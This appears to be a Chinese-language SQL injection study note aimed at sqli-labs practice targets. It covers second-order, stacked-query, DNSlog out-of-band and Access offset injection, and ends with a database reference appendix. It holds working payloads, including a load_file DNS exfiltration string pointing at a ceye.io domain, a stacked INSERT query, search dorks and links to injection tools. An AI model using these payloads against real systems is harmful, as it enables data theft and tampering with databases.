sql漏洞注入扩展和Access数据库

注入扩展

加解密注入

数据的加密,base64、md5等
inurl:id=MQ==

二次注入

原理:主要分为两步
第一步:插入恶意数据
第一次进行数据库插入数据的时候,用户向数据库插入恶意语句,但是在写入数据库的时候还是保留原来的数据
第二步:引用恶意数据
在将数据存入到数据库之后,寻找另一处引用这个数据的操作,取出后直接给变量并带入数据库,这样就造成了SQL的二次注入

yucedu’#
UPDATE users SET PASSWORD=’$pass’ where username=’yucedu’#’ and password=’$curr_pass’

#如果输入框有长度限制怎么办?
1、前端限制:通过修改前端参数
2、后端限制:没有办法

DNSlog注入

#原理:有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。DNSlog盲注可以减少发送的请求,直接回显数据实现注入

利用前提条件:
mysql.ini中secure_file_priv必须为空
★secure_file_priv为null,不允许导入导出
★secure_file_priv为/tmp,导入导出只能在/tmp目录下
★secure_file_priv为空时,则不做限制允许导入导出

payload:
?id=1’ and load_file(concat(‘\\‘,(select database()),’.evs4gq.ceye.io\abc’))–+
相应的更换select database()查询语句便可以实现DNS外带的回显注入,其中evs4gq.ceye.io为ceye.io平台给每个账号起的昵称

python dnslogSql.py -u “http://192.168.80.140/sqlilabs/Less-2/?id=1 and ({})–+”

堆叠查询注入

#原理:多条 sql 语句一起执行,其中采用;(分号)标识一条语句的结束,表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection(堆叠注入)

#局限性
需要知道一些数据库相关信息的,例如表名,列名等信息

#堆叠注入和联合注入有何区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

payload:
#sqlilabs-less38
http://127.0.0.1/sqlilabs/less-38/?id=1';insert into users(id,username,password) values (‘100’,’test’,’test’)–+

id=1’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+
SELECT * FROM users WHERE id=’’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+’ LIMIT 0,1

Access数据库

Access和Mysql数据库架构组成区别

1、除了Access之外,其他数据库的架构基本是一样的
2、在网站搭建的时候,access数据库会直接保存在源码下面,是独立存在的
参考:https://blog.csdn.net/bylfsj/article/details/101390839

#Mysql数据库结构(oracle、mssql等)
数据库A
表名
列名
数据
数据库B
表名
列名
数据

#Access数据库结构
表名
列名
数据

如果Access暴力猜解不出来怎么办?

1、Access偏移注入:解决列名获取不到的情况
2、查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况 inurl:zb_system

用”“代表 admin 表的字段数,计算代替字符的位数。

​ sqlilabs-less21 cookie&加解密注入
​ sqlilabs-less24 登录框&二次注入
​ sqlilabs-Less38 堆叠注入(多语句)
​ Access数据库本地搭建靶场-偏移注入

涉及资源

http://ceye.io/ CEYE平台
https://www.cnblogs.com/backlion/p/9721687.html 堆叠注入
https://github.com/ADOOO/DnslogSqlinj DNSlog注入工具
https://pan.baidu.com/s/1dG7aK2Fk-qNLYNgF09msjA 提取码:70oz

附录

注释符

​ MySQL: 单行:# 、多行: //
​ SQLServer:单行: – 多行: /
/
​ Oracle:单行: – 多行: //
​ PostgreSQL:单行:– 多行: /
/
​ Access:无注释符

数据库端口

​ MySQL: 3306
​ SQLServer: 1433
​ Oracle:1521
​ PostgreSQL:5432
​ Access: 属于文件型数据库,所以不需要端口号

数据库文件后缀名

​ MySQL:数据文件:. myd 、索引文件:. MYI 、表定义文件:. frm
​ SQLServer: .mdf
​ Oracle:.dbf 和 .ora
​ PostgreSQL:无后缀名
​ Access:早期是 .mdb ,后来是 .accdb

特有的数据库

​ MySQL: information_schema
​ SQLServer:sysobjects
​ Oracle:dual
​ PostgreSQL:
​ Access:msysobjects

查看当前用户或权限

MySQL
1、查询当前用户
select user();
select substring_index(user(), ‘@’, 1) ;
2、查询当前用户的权限
select * from mysql.user where user = substring_index(user(), ‘@’, 1) ;
SQLServer
1、判断是否是SA权限
select is_srvrolemember(‘sysadmin’)
2、判断是否是db_owner权限
select is_member(‘db_owner’)
3、判断是否是public权限
select is_srvrolemember(‘public’)
Access数据库是文件类型数据库,没有用户和权限的概念